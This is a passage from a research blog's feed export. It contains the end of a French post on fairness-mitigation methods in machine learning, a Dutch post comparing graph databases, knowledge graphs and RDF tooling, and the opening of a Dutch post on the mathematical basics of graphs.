<p>Le pre-processing offre l’avantage de ne pas dépendre du modèle utilisé et d’être (généralement) facile à expliquer et à comprendre. Cependant, corriger adéquatement les données historiques peut être compliqué à réaliser, et il est difficile de garantir l’équité du modèle résultant. Il faut aussi mentionner le risque de perte de précision, car altérer les données peut potentiellement enlever des patterns pertinents des données.</p>
<p>La figure 2 montre l’ajout d’équité via une approche pre-processing. Comme visible sur le schéma, le pre-processing ne s’applique pas toujours nécessairement aux nouvelles données. Certaines méthodes (e.g. rééchantillonnage, relabeliser) ne demandent que de modifier les données d’entrainement, pour éviter que l’algorithme n&#8217;apprenne le biais. Par contre, certains algorithmes (e.g. representation learning) nécessitent aussi de modifier les nouvelles observations à prédire.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PreProcessing.png"><img loading="lazy" decoding="async" width="1024" height="355" src="/wp-content/uploads/2025/05/PreProcessing-1024x355.png" alt="" class="wp-image-22702" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-1024x355.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-300x104.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-768x266.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing.png 1474w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 2&nbsp;: Equité par approche pre-processing.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Les méthodes «&nbsp;in-processing&nbsp;»</strong></h2>



<p>Ces méthodes consistent à modifier directement le modèle prédictif en lui-même, de sorte que ses prédictions soient équitables. Cela peut par exemple se faire en ajoutant un terme de régularisation sur la fonction objectif de l&#8217;algorithme, ou en lui ajoutant des contraintes de fairness.</p>
<p>Les méthodes in-processing ont l’avantage qu’une fois le modèle entrainé, la fairness est directement inclue dans le modèle et celui-ci peut être utilisé librement, sans nécessiter de modification supplémentaire des données entrées ou des prédictions du modèle. De plus, modifier directement le modèle offre une grande flexibilité, car on peut y encoder des contraintes de fairness complexes.</p>
<p>Cette grande flexibilité requiert, en contrepartie, des connaissances théoriques et pratiques suffisamment approfondies pour pouvoir modifier l’algorithme en lui-même. En outre, introduire des modifications dans un modèle, telles que des contraintes, peut significativement augmenter son temps d’entrainement. Enfin, puisque les méthodes d’in-processing modifient l’entrainement d’un algorithme, la plupart des méthodes publiées sont généralement spécifiques à un modèle précis.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/InProcessing.png"><img loading="lazy" decoding="async" width="1024" height="534" src="/wp-content/uploads/2025/05/InProcessing-1024x534.png" alt="" class="wp-image-22700" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-1024x534.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-300x156.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-768x400.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing.png 1063w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 3&nbsp;: Equité par approche in-processing.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Les méthodes «&nbsp;post-processing&nbsp;»</strong></h2>



<p>Pour la dernière approche, on ne touche pas au modèle ou aux données historiques, on va simplement appliquer un ajustement aux prédictions fournies par le modèle de sorte à satisfaire les contraintes de fairness. Un algorithme de post-processing va donc généralement soit modifier les probabilités d’appartenance aux classes prédites par le modèle, soit directement modifier les décisions (classifications finales) pour certaines observations.</p>
<p>Les algorithmes de post-processing sont des solutions simples à mettre en place&nbsp;: ils sont indépendants du modèle prédictif utilisé, et peuvent donc s’utiliser avec des modèles « black-box ». De plus, le post-processing ne demande aucune modification ni des données, ni du modèle, et préserve donc l’intégrité du processus existant.</p>
<p>Ce genre de méthodes tend cependant généralement à dégrader plus fortement les performances du modèle que l’utilisation de méthodes d’in-processing. En effet, entrainer un modèle librement et ensuite altérer ses prédictions a posteriori pour que ces dernières remplissent des contraintes sera souvent moins efficace que d’avoir un modèle ayant été spécifiquement optimisé pour fournir des prédictions remplissant les contraintes.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PostProcessing.png"><img loading="lazy" decoding="async" width="1024" height="336" src="/wp-content/uploads/2025/05/PostProcessing-1024x336.png" alt="" class="wp-image-22701" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-1024x336.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-300x98.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-768x252.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing.png 1323w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 4&nbsp;: Equité par approche post-processing.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Evaluer les prédictions équitables</strong></h2>



<p>Par définition, à partir du moment où on ajoute des contraintes sur les prédictions d’un modèle, ou si on limite l’accès à certaines informations, cela va logiquement réduire les performances de classification du modèle. Par conséquent, incorporer de l’équité dans un problème de classification implique de trouver la juste balance entre la précision du modèle et sa fairness.</p>
<p>De plus, même une fois qu’un équilibre entre précision et équité a été trouvé, il convient toujours de vérifier les modifications qui résultent de l’ajout des contraintes de fairness.</p>
<p>Prenons un exemple illustratif&nbsp;: supposons un algorithme fournissant des prédictions biaisées, qui a tendance à donner relativement plus de décisions favorables aux membres du groupe A comparé au groupe B. Il y a un risque qu’à l’introduction d’une contrainte de fairness, l’algorithme réponde en réduisant simplement le nombre de décisions favorables pour le groupe A pour atteindre le même niveau que le groupe B. Ce nouveau modèle est donc <em><strong>théoriquement</strong></em> plus équitable que le précédent, mais il est manifestement pire puisque cette équité a été réalisée uniquement en pénalisant l’un des groupes.</p>
<p>Cet exemple illustre l’importance, lors de l’introduction d’équité dans un modèle, de ne pas regarder uniquement les mesures de performance (accuracy, demographic parity, etc.), mais aussi d’investiguer la façon dont les décisions du modèle sont impactées en pratique.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Dans cet article, nous avons vu comment mesurer l’iniquité d’un modèle de machine learning, et présenté un aperçu des différentes approches utilisées pour éviter que le modèle ne reproduise ou ne renforce un biais appris dans les données historiques.</p>
<p>Il est important de signaler que les différentes approches ne sont pas mutuellement exclusives, et peuvent souvent être combinées (e.g. un pre-processing des données d’entrainement, suivi d’une méthode in-processing sur le modèle). Certaines publications dans le domaine proposent d’ailleurs des méthodes qui agissent à plusieurs niveaux du processus de classification.</p>



<h2 class="wp-block-heading">Références</h2>



<p id="footnote-1">[1] Mehrabi, N., Morstatter, F., Saxena, N., Lerman, K., &amp; Galstyan, A. (2021). A survey on bias and fairness in machine learning. <i>ACM computing surveys (CSUR)</i>, <i>54</i>(6), 1-35.</p>
<p id="footnote-2">[2] Castelnovo, A., Crupi, R., Greco, G., Regoli, D., Penco, I. G., &amp; Cosentini, A. C. (2022). A clarification of the nuances in the fairness metrics landscape. <i>Scientific Reports</i>, <i>12</i>(1), 4209.</p>
<p id="footnote-3">[3] Corbett-Davies, S., Gaebler, J. D., Nilforoshan, H., Shroff, R., &amp; Goel, S. (2023). The measure and mismeasure of fairness. <i>Journal of Machine Learning Research</i>, <i>24</i>(312), 1-117.</p>
<p id="footnote-4">[4] Hort, M., Chen, Z., Zhang, J. M., Harman, M., &amp; Sarro, F. (2024). Bias mitigation for machine learning classifiers: A comprehensive survey. <i>ACM Journal on Responsible Computing</i>, <i>1</i>(2), 1-52.</p>
<p>Sur un sujet similaire, voir le post <a href="/ia-lethique-en-pratique/">IA: L&#8217;éthique en pratique</a>.</p>



<hr />
<p><em>Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.</em></p>


]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Graphtechnologieën, de toepassingen ervan en tools: een overzicht (deel 2)</title>
		<link>https://www.smalsresearch.be/graphtechnologieen-toepassingen-en-tools-2/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Thu, 20 Feb 2025 10:01:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21956</guid>

					<description><![CDATA[Dit tweede deel is gewijd aan graph databases en aan knowledge graphs, hun verschillen en tools.]]></description>
										<content:encoded><![CDATA[
<p><em><a href="/graphes_applications_et_outils_2/">Version française</a></em></p>



<p>Deze blogpost volgt op <a href="/graphtechnologieen-toepassingen-en-tools/">deel 1</a>, die de grondbeginselen van graphtechnologieën, hun algoritmes en toepassingen toelicht. Dit tweede deel is gewijd aan graph databases en aan knowledge graphs, hun verschillen en tools.</p>



<h2 class="wp-block-heading">Graph databases</h2>



<p>Zoals bij een relationele database is ook bij een graph database het doel om gegevens op een persistente manier op te slaan en te beheren en om complexe query&#8217;s uit te voeren. Het verschil is dat de gegevens worden opgeslagen in de vorm van een graph, d.w.z. een verzameling nodes die onderling verbonden zijn door bogen.</p>
<p>Graph databases hebben een aantal voordelen ten opzichte van traditionele relationele databases, omdat het graph model eenvoudige, geoptimaliseerde doorloop van gegevens via bogen mogelijk maakt, terwijl het verkennen van relaties in een relationele database een groot aantal joints kan vereisen. Meer details over de voordelen van graph databases en de situaties waarin ze gebruikt kunnen worden, zijn te vinden in de blogposts [<a href="#footnote-1">1</a>] en [<a href="#footnote-2">2</a>].</p>
<p>De drie componenten van een graph database zijn nodes, bogen en properties. Deze eigenschappen kunnen ofwel op de nodes, ofwel op de bogen, ofwel op beide worden geplaatst. Laten we eens kijken naar het voorbeeld in Figuur 1, de node “Paul” kan bijvoorbeeld gelinkt worden met eigenschappen zoals zijn geboortedatum en adres, voor de nodes die films voorstellen kunnen we eigenschappen associëren zoals het jaar van uitgave, het budget en de IMDb identifier, en op de “RATED” relaties tussen een gebruiker en een film kunnen we eigenschappen associëren zoals de kijkdatum en de waardering (op 5) die de gebruiker aan de film geeft.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/02/LPG_EN.png"><img loading="lazy" decoding="async" width="1024" height="373" src="/wp-content/uploads/2025/02/LPG_EN-1024x373.png" alt="" class="wp-image-21938" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN-1024x373.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN-300x109.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN-768x280.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/02/LPG_EN.png 1372w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 1: Voorbeeld van nodes en arcs met eigenschappen in Neo4J.</figcaption></figure>



<p>Merk op dat de graph algoritmes die we in <a href="/graphtechnologieen-toepassingen-en-tools/">deel 1</a> hebben gepresenteerd vaak niet zijn geïmplementeerd in graph database software, met een paar uitzonderingen (Neo4j en TigerGraph hebben een “Graph Data Science (GDS)” library die verschillende algoritmes bevat). Over het algemeen is het daarom nodig om de graph (of een deel ervan) te exporteren naar een analysetool.</p>



<h2 class="wp-block-heading">Tools voor graph databases</h2>



<p>Laten we eens snel kijken naar enkele van de bekendste tools. Merk op dat alle hieronder genoemde tools compatibel zijn met <a href="https://nl.wikipedia.org/wiki/ACID">ACID</a>-eigenschappen. Er bestaan een groot aantal tools voor het beheren van graph databases, en deze post noemt er maar een paar. Bekijk <a href="https://db-engines.com/en/ranking/graph+dbms">hier</a> gerust een uitgebreidere lijst.</p>
<ol>
<li>Neo4j</li>
</ol>
<p>Neo4j biedt het voordeel van een native graphformaat, wat het doorlopen van de graph zeer efficiënt maakt (en dus ook de query&#8217;s) De query&#8217;s gebeuren via Cypher, een taal die gemakkelijk te leren is, Neo4J is bovendien goed gedocumenteerd en beschikt over een grote community. Neo4J is in zijn “community”-versie gratis, maar een betalende versie bestaat ook (Neo4J Enterprise), de gratis versie kan een aantal schaalbaarheidsproblemen opleveren bij zeer grote hoeveelheden data.</p>
<ol start="2">
<li>ArangoDB</li>
</ol>
<p>ArangoDB biedt een flexibel datamodel (multimodel), met een graphmodel, een documentmodel (gebaseerd op JSON-objecten) en een key-value model. Het heeft zijn eigen querytaal, AQL (Arango Query Language), die ingewikkelder kan zijn om te leren dan Cypher vanwege het multimodel dat aan de grondslag ligt van ArangoDB. Het programma is betalend, hoewel er ook een opensourceversie bestaat (community edition), maar die is (uiteraard) beperkter dan de betalende versie.</p>
<ol start="3">
<li>TigerGraph</li>
</ol>
<p>TigerGraph is een betalende tool, die geoptimaliseerd is voor gebruik op zeer grote databases. De query&#8217;s gebeuren via de taal GSQL, die het mogelijk maakt om verschillende taken uit te voeren, maar die ingewikkelder is dan Cypher. TigerGraph beschikt over verschillende algoritmes die geïmplementeerd zijn via de GDS library.</p>
<ol start="4">
<li>Memgraph</li>
</ol>
<p>Memgraph is een speciale tool in die zin dat hij gegevens direct in het geheugen bewaart (in RAM). Dit levert zeer hoge prestaties op voor query&#8217;s, maar maakt het aan de andere kant moeilijk te gebruiken, of op zijn minst kostbaar in termen van infrastructuur, als de graph groot is, omdat je genoeg RAM moet hebben om de gegevens op te slaan. Memgraph wordt daarom over het algemeen gebruikt als prestaties de hoogste prioriteit hebben. Query&#8217;s worden gedaan in Cypher.</p>
<ol start="5">
<li>GraphDB</li>
</ol>
<p>GraphDB gebruikt een zeer specifiek graphmodel dat het Resource Description Framework (RDF) wordt genoemd. Dit framework, dat meer in detail zal worden besproken in de sectie Knowledge graphs, heeft zijn eigen querytaal die SPARQL heet. Er bestaat een gratis opensourceversie (graphDB Free) en een betalende enterpriseversie (graphDB Enterprise).</p>
<ol start="6">
<li>Apache TinkerPop en de implementaties ervan</li>
</ol>
<p>Het gaat om een opensource framework voor het definiëren van een graph database en een querytaal die “Gremlin” heet. Het wordt gebruikt in veel graph database management software, zoals JanusGraph (opensource software), Amazon Neptune dat andere modellen biedt dan die van TinkerPop zoals RDF, of nog andere tools voor databasebeheer die niet gespecialiseerd zijn in graphs, zoals Azure Cosmos DB.</p>



<h2 class="wp-block-heading">Knowledge graphs</h2>



<p>Laten we, voordat we naar werkwijzen en tools kijken, eerst definiëren wat een knowledge graph is en hoe deze verschilt van een graph database. Het is een graph die zich richt op semantiek en inferentie. Elke node vertegenwoordigt een concept en elke boog een relatie. Zoals we al hebben gezien in de blogposts [<a href="#footnote-3">3</a>, <a href="#footnote-4">4</a>], wordt een knowledge graph gedefinieerd als een graph die aan drie voorwaarden voldoet [<a href="#footnote-5">5</a>]:</p>
<ol>
<li>De integratie van informatie uit verschillende heterogene bronnen.</li>
</ol>
<p>Een knowledge graph verzamelt en combineert gegevens uit verschillende (on)gestructureerde bronnen op een coherente manier.</p>
<ol>
<li>Het gebruik van een ontologie.</li>
</ol>
<p>Een ontologie beschrijft formeel de concepten en relaties die aanwezig zijn in de graph, evenals eventuele beperkingen en regels. Het is dus een gestructureerd model dat de semantische basis biedt voor logische bewerkingen en coherentietesten. Een ontologieschema (zie Figuur 2), ook bekend als een &#8216;ontology graph&#8217;, biedt bijvoorbeeld een representatie van de entiteittypes en relaties van een knowledge graph, en biedt zo een conceptuele structuur zonder specifieke gegevens te bevatten.</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/02/Ontology_EN.png"><img loading="lazy" decoding="async" width="868" height="561" src="/wp-content/uploads/2025/02/Ontology_EN.png" alt="" class="wp-image-21937" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/Ontology_EN.png 868w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Ontology_EN-300x194.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Ontology_EN-768x496.png 768w" sizes="auto, (max-width: 868px) 100vw, 868px" /></a><figcaption class="wp-element-caption">Figuur 2: Voorbeeld van ontologieschema</figcaption></figure>



<ol>
<li>Inferentie van impliciete informatie op basis van expliciete informatie.</li>
</ol>
<p>Het is mogelijk om informatie te vinden die niet aanwezig was in de oorspronkelijke gegevens op basis van inferentieregels (zie Figuur 3).</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-6.png"><img loading="lazy" decoding="async" width="748" height="287" src="/wp-content/uploads/2025/01/image-6.png" alt="" class="wp-image-21762" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6.png 748w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6-300x115.png 300w" sizes="auto, (max-width: 748px) 100vw, 748px" /></a><figcaption class="wp-element-caption">Figuur 3: Voorbeelden van inferentie. Uit een vorige <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">blogpost</a>.</figcaption></figure>



<h2 class="wp-block-heading">Een overzicht van het RDF-model (Resource Description Framework)</h2>



<p>Het RDF-model, oorspronkelijk ontworpen voor de formele beschrijving van web resources en de metadata ervan, wordt vaak gebruikt bij knowledge graphs omdat het robuust semantisch rederneren en een zeer hoge interoperabiliteit biedt.</p>
<p>Een RDF-document heeft de vorm van een set RDF-triples waarbij elk triple een associatie is: subject (te beschrijven bron), predicaat (eigenschap van de bron), object (gegevens of andere bron).</p>
<p>Bijvoorbeeld:</p>
<p><code>:Alice&nbsp;:knows&nbsp;:Bob .<br />:Alice&nbsp;:livesIn&nbsp;:Paris .<br />:Alice&nbsp;:age 30 .</code></p>
<p>Deze semantic triples vertegenwoordigen dus zowel relaties tussen nodes (bijvoorbeeld de relatie tussen Alice en Bob) als eigenschappen (de leeftijd van Alice).</p>
<p>Kenmerkend voor RDF is dat elk element van een triple (met uitzondering van het object als het een simpele waarde is, zoals de waarde 30 voor de leeftijd van Alice) door een URI (<em>Uniform Resource Identifier</em>) of IRI (<em>Internationalized Resource Identifier</em>) moet worden geïdentificeerd. Dit zorgt voor een hoge mate van interoperabiliteit, omdat het voorkomt dat er duplicaten ontstaan wanneer verschillende informatiebronnen worden gecombineerd. Als we teruggaan naar de eerder gebruikte triples, krijgen we het volgende fragment (in Turtle-taal):</p>
<p><code>&lt;http://example.org/Alice&gt; &lt;http://example.org/knows&gt; &lt;http://example.org/Bob&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/livesIn&gt; &lt;http://example.org/Paris&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/age&gt; "30"^^&lt;http://www.w3.org/2001/XMLSchema#integer&gt; .</code></p>
<p>Het gebruik van RDF impliceert daarom een URI om alle concepten (subjecten, predikaten en objecten) in de graph te kunnen identificeren op dezelfde manier als een primaire sleutel in relationele databases.</p>
<p>Bovendien bestaan er twee hulpmiddelen om semantische betekenis toe te voegen aan RDF-gegevens door relaties te beschrijven om redeneren mogelijk te maken, namelijk RDFS (<em>RDF Schema</em>) en OWL (<em>Web Ontology Language</em>). Zoals we al hebben gezien, vereist RDF dat elk concept wordt geïdentificeerd door een URI. RDFS en OWL bieden een voorgedefinieerde set URI&#8217;s voor veelgebruikte concepten waarnaar verwezen kan worden in RDF. Dit maakt het mogelijk om een gestandaardiseerd gemeenschappelijk vocabularium te hebben, wat de integratie met andere databanken vergemakkelijkt, en om inferentieregels op te stellen. Aangezien OWL en RDFS <strong>gestandaardiseerde concepten</strong> aanbieden, kunnen OWL-gebaseerde &#8216;reasoners&#8217; (zoals FaCT++ of HermiT) op een systematische manier impliciete relaties afleiden of tegenstrijdigheden detecteren op basis van de ontologie.</p>
<p>Query&#8217;s op een RDF database worden gedaan via SPARQL.</p>



<h2 class="wp-block-heading">Alternatieven voor RDF en tools voor het werken met een knowledge graph</h2>



<p>Natuurlijk is het voor een knowledge graph niet noodzakelijk om het RDF-model te gebruiken. Een graph wordt als een knowledge graph beschouwd als voldaan is aan de 3 voorwaarden die beschreven zijn aan het begin van het hoofdstuk over knowledge graphs. Het is dus perfect mogelijk om een knowledge graph te creëren in een klassieke graph databasemanagementtool, zolang de implementatie data uit verschillende bronnen combineert, voldoet aan een ontologie en gebruikt kan worden voor semantische inferentie.</p>
<p>De voornaamste kracht van het RDF-model is zijn hoge standaardisatieniveau. Enerzijds laat het een hoge mate van interoperabiliteit toe dankzij de URI-identificatievereiste en de gestandaardiseerde woordenschat en querytaal. Anderzijds bieden de RDFS- en OWL-uitbreidingen een schat aan semantische informatie voor automatisch redeneren. Omgekeerd beperkt de complexiteit het gebruik in zakelijke toepassingen waar deze semantische nauwkeurigheid niet noodzakelijk is en waar het gebruik van een eenvoudiger graphmodel (zoals Neo4j of TigerGraph) volstaat. Het gebruik van eenvoudigere modellen heeft het voordeel dat ze eenvoudiger en sneller op te zetten zijn en optimale query prestaties bieden, maar ten koste van het verlies van de semantische rijkdom die RDF biedt.</p>
<p>In deze sectie worden (niet-exhaustieve) tools met betrekking tot RDF voorgesteld, maar zoals vermeld blijven de tools die eerder werden vermeld voor graph databases geldig voor het creëren van een knowledge graphs zolang aan de voorwaarden wordt voldaan.</p>
<p>Hier is een lijst van enkele tools gerelateerd aan knowledge graphs in RDF:</p>



<ul class="wp-block-list">
<li><strong>Ontwerp van ontologieën</strong>: de opensourcetool <a href="https://protege.stanford.edu/">Protégé</a> wordt vaak gebruikt om ontologieën te creëren. De website <a href="https://schema.org/">Schema.org</a> biedt een groot aantal standaard schema&#8217;s en vocabulaires voor verschillende domeinen, maar wordt over het algemeen gebruikt voor knowledge graphs met betrekking tot webgegevens.</li>



<li><strong>Gegevens omzetten naar RDF</strong>: de tool <a href="https://www.w3.org/TR/r2rml/">R2RML</a> kan gebruikt worden om relationele gegevens om te zetten in RDF. Ook het vermelden waard is <a href="https://d2rq.org/">D2RQ</a>, dat toegang biedt tot een relationele database via een virtuele RDF knowledge graph.</li>



<li><strong>Dataopslag</strong>: naast de hierboven genoemde oplossingen (GraphDB en Amazon Neptune), kunnen we ook BlazeGraph en Apache Jena (opensource) vermelden, alsook Stardog en AllegroGraph (businessoplossingen).</li>



<li><strong>OWL reasoners</strong>: er bestaan veel OWL reasoners. Ze worden echter niet allemaal actief onderhouden of zijn niet altijd bruikbaar. De meest recente OWL reasoners lijst die we konden vinden dateert uit 2023 en is <a href="https://arxiv.org/pdf/2309.06888">hier</a> beschikbaar [<a href="#footnote-6">6</a>].</li>
</ul>



<p>Tot slot willen we nog het RDF4J framework (Java framework) en rdflib (python library) vermelden voor interactie met RDF data.</p>



<h2 class="wp-block-heading">Conclusie</h2>



<p>Laten we afsluiten met een korte samenvatting van de belangrijkste concepten die een wiskundige graph onderscheiden van een graph database en een knowledge graph.</p>
<p>Een wiskundige graph is een verzameling van nodes en bogen die gemakkelijk kan worden voorgesteld in matrixvorm zodat er algoritmes op kunnen worden toegepast. Het is de onderliggende structuur van elke graph database of knowledge graph.</p>
<p>Een graph database bestaat uit een set van nodes, bogen en properties. De nadruk ligt op het opslaan van grote hoeveelheden gegevens binnen een graph structuur en het optimaliseren van query&#8217;s.</p>
<p>Een knowledge graph heeft als doel om kennis binnen een graph weer te geven met de nadruk op:</p>



<ul class="wp-block-list">
<li><strong>Semantiek</strong>: de graph volgt een ontologie en relaties hebben betekenis.</li>



<li><strong>Integratie</strong>: verschillende databronnen zijn gekoppeld in een uniforme graph.</li>



<li><strong>Inferentie</strong>: het vermogen om kennis af te leiden door redeneren.</li>
</ul>



<p>Daarom is het gericht op de integratie en de semantische verrijking van data.</p>
<p>Het spreekt voor zich dat deze post slechts een tipje van de sluier oplicht van de uitgebreide literatuur over graphs en de verschillende toepassingen ervan. Vele punten moeten nog verder uitgewerkt worden en zullen ongetwijfeld het onderwerp zijn van toekomstige blogposts.</p>



<h2 class="wp-block-heading">Referenties</h2>



<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-4">[4] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-5">[5] Ehrlinger, L., &amp; Wöß, W. (2016). Towards a definition of knowledge graphs. SEMANTiCS 2016, 48(1-4), 2.</p>
<p id="footnote-6">[6] <a href="https://arxiv.org/pdf/2309.06888">Abitch, K., (2023). &#8220;OWL Reasoners still useable in 2023&#8221;</a></p>
<hr />
<p><em>Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Graphtechnologieën, de toepassingen ervan en tools: een overzicht (deel 1)</title>
		<link>https://www.smalsresearch.be/graphtechnologieen-toepassingen-en-tools/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Thu, 20 Feb 2025 10:00:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21941</guid>

					<description><![CDATA[Dit eerste deel richt zich op graphs in hun fundamentele wiskundige vorm.]]></description>
										<content:encoded><![CDATA[<p><a href="/graphes_applications_et_outils/"><em>Version française</em></a></p>
<p>Dankzij hun vermogen om complexe relaties tussen gegevens te begrijpen en te benutten, worden graphtechnologieën steeds populairder op veel gebieden van kunstmatige intelligentie en gegevensbeheer. Deze blog heeft al meerdere artikels gepubliceerd over verschillende graphtechnologieën, waaronder graph databases [<a href="#footnote-1">1</a>, <a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>] en knowledge graphs [<a href="#footnote-4">4</a>, <a href="#footnote-5">5</a>, <a href="#footnote-6">6</a>].</p>
<p>Maar wat betekent de term &#8216;graph&#8217; eigenlijk? Tussen de wiskundige modellen die als basis dienen, graph databases en knowledge graphs, kan het moeilijk zijn om je weg te vinden en de tools te identificeren die het best passen bij je behoeften. Hierbij komt nog het feit dat werken met graph data op het eerste gezicht complex kan lijken en dat het gebruik van graphalgoritmes niet tot de kernvaardigheden van de meeste data engineers en data scientists behoort. Dit alles kan het creëren en exploiteren van graph data en modellen tot een ontmoedigend vooruitzicht maken.</p>
<p>Dit artikel geeft daarom een overzicht van graphtechnologieën, waarbij de drie bovengenoemde aspecten worden verkend:</p>


<ul class="wp-block-list">
<li>Graphs vanuit een theoretisch oogpunt, hun eigenschappen en hun belangrijkste toepassingen;</li>



<li>Graph databases, gespecialiseerd in de opslag en exploitatie van gekoppelde gegevens;</li>



<li>Knowledge graphs, die kennis semantisch structureren.</li>
</ul>


<p>Daarom is het de bedoeling om deze concepten en de – soms vage – grenzen ertussen te presenteren, en hun toepassingen en de bijbehorende tools en software te belichten.</p>
<p>Dit artikel is opgesplitst in twee delen. Het eerste deel richt zich op graphs in hun fundamentele wiskundige vorm, hoe ze kunnen worden gecodeerd en geëxploiteerd, en de belangrijkste algoritmes en de toepassingen ervan. Het <a href="/graphtechnologieen-toepassingen-en-tools-2/">tweede deel</a> richt zich op graph databases en knowledge graphs, en de bijbehorende tools.</p>


<h2 class="wp-block-heading">Back to basics: graphs als wiskundige structuur</h2>


<p>Laten we eerst definiëren wat een graph is. Deze theoretische basis is cruciaal aangezien de concepten van graph databases en knowledge graphs op deze basis zijn gebouwd. Deze meer geavanceerde concepten kunnen op elk moment worden teruggebracht tot hun onderliggende wiskundige vorm en bij uitbreiding zijn alle modellen en algoritmes die hieronder worden gepresenteerd toepasbaar op graph databases en knowledge graphs.</p>
<p>In zijn meest basale vorm is een graph een wiskundige structuur die bestaat uit een verzameling nodes en arcs die de nodes paarsgewijs verbinden. Nodes stellen meestal objecten of mensen voor en bogen stellen links tussen deze objecten of mensen voor. In het geval van een sociaal netwerk kan een boog bijvoorbeeld een vriendschapsband tussen twee gebruikers voorstellen.</p>
<p>De graph kan zowel gericht als ongericht zijn. In het geval van een ongerichte graph zijn de relaties tussen nodes altijd wederkerig (bijvoorbeeld een vriendschapslink op Facebook), terwijl in een gerichte graph een boog die van node i naar node j gaat, niet noodzakelijk een boog in de tegenovergestelde richting impliceert (bijvoorbeeld een website A die een link heeft naar een website B).</p>
<p>Afhankelijk van de situatie of toepassing kan een graph al dan niet gewogen zijn. Een graph is als gewogen omschreven als er aan elke boog een gewicht wordt toegekend dat varieert van boog tot boog en dat het mogelijk maakt om bepaalde bogen een grotere “kracht” te geven. De interpretatie van deze gewichten hangt af van de context; ze kunnen bijvoorbeeld een mate van verwantschap, gelijkenis, afhankelijkheid, enz. weergeven.</p>
<p>Een graph wordt over het algemeen voorgesteld door een vierkante matrix van dimensie (<em>n</em> × <em>n</em>), waarbij n het aantal nodes in de graph voorstelt, genaamd een adjacency matrix (aangeduid als <strong>A</strong>). Het element op positie (<em>i</em>, <em>j</em>) in de matrix is het gewicht van de boog van node <em>i</em> naar node <em>j</em> als deze bestaat, en anders 0 (zie figuur 1). De adjacency matrix is gewoon een binaire matrix als de graph ongewogen is.</p>


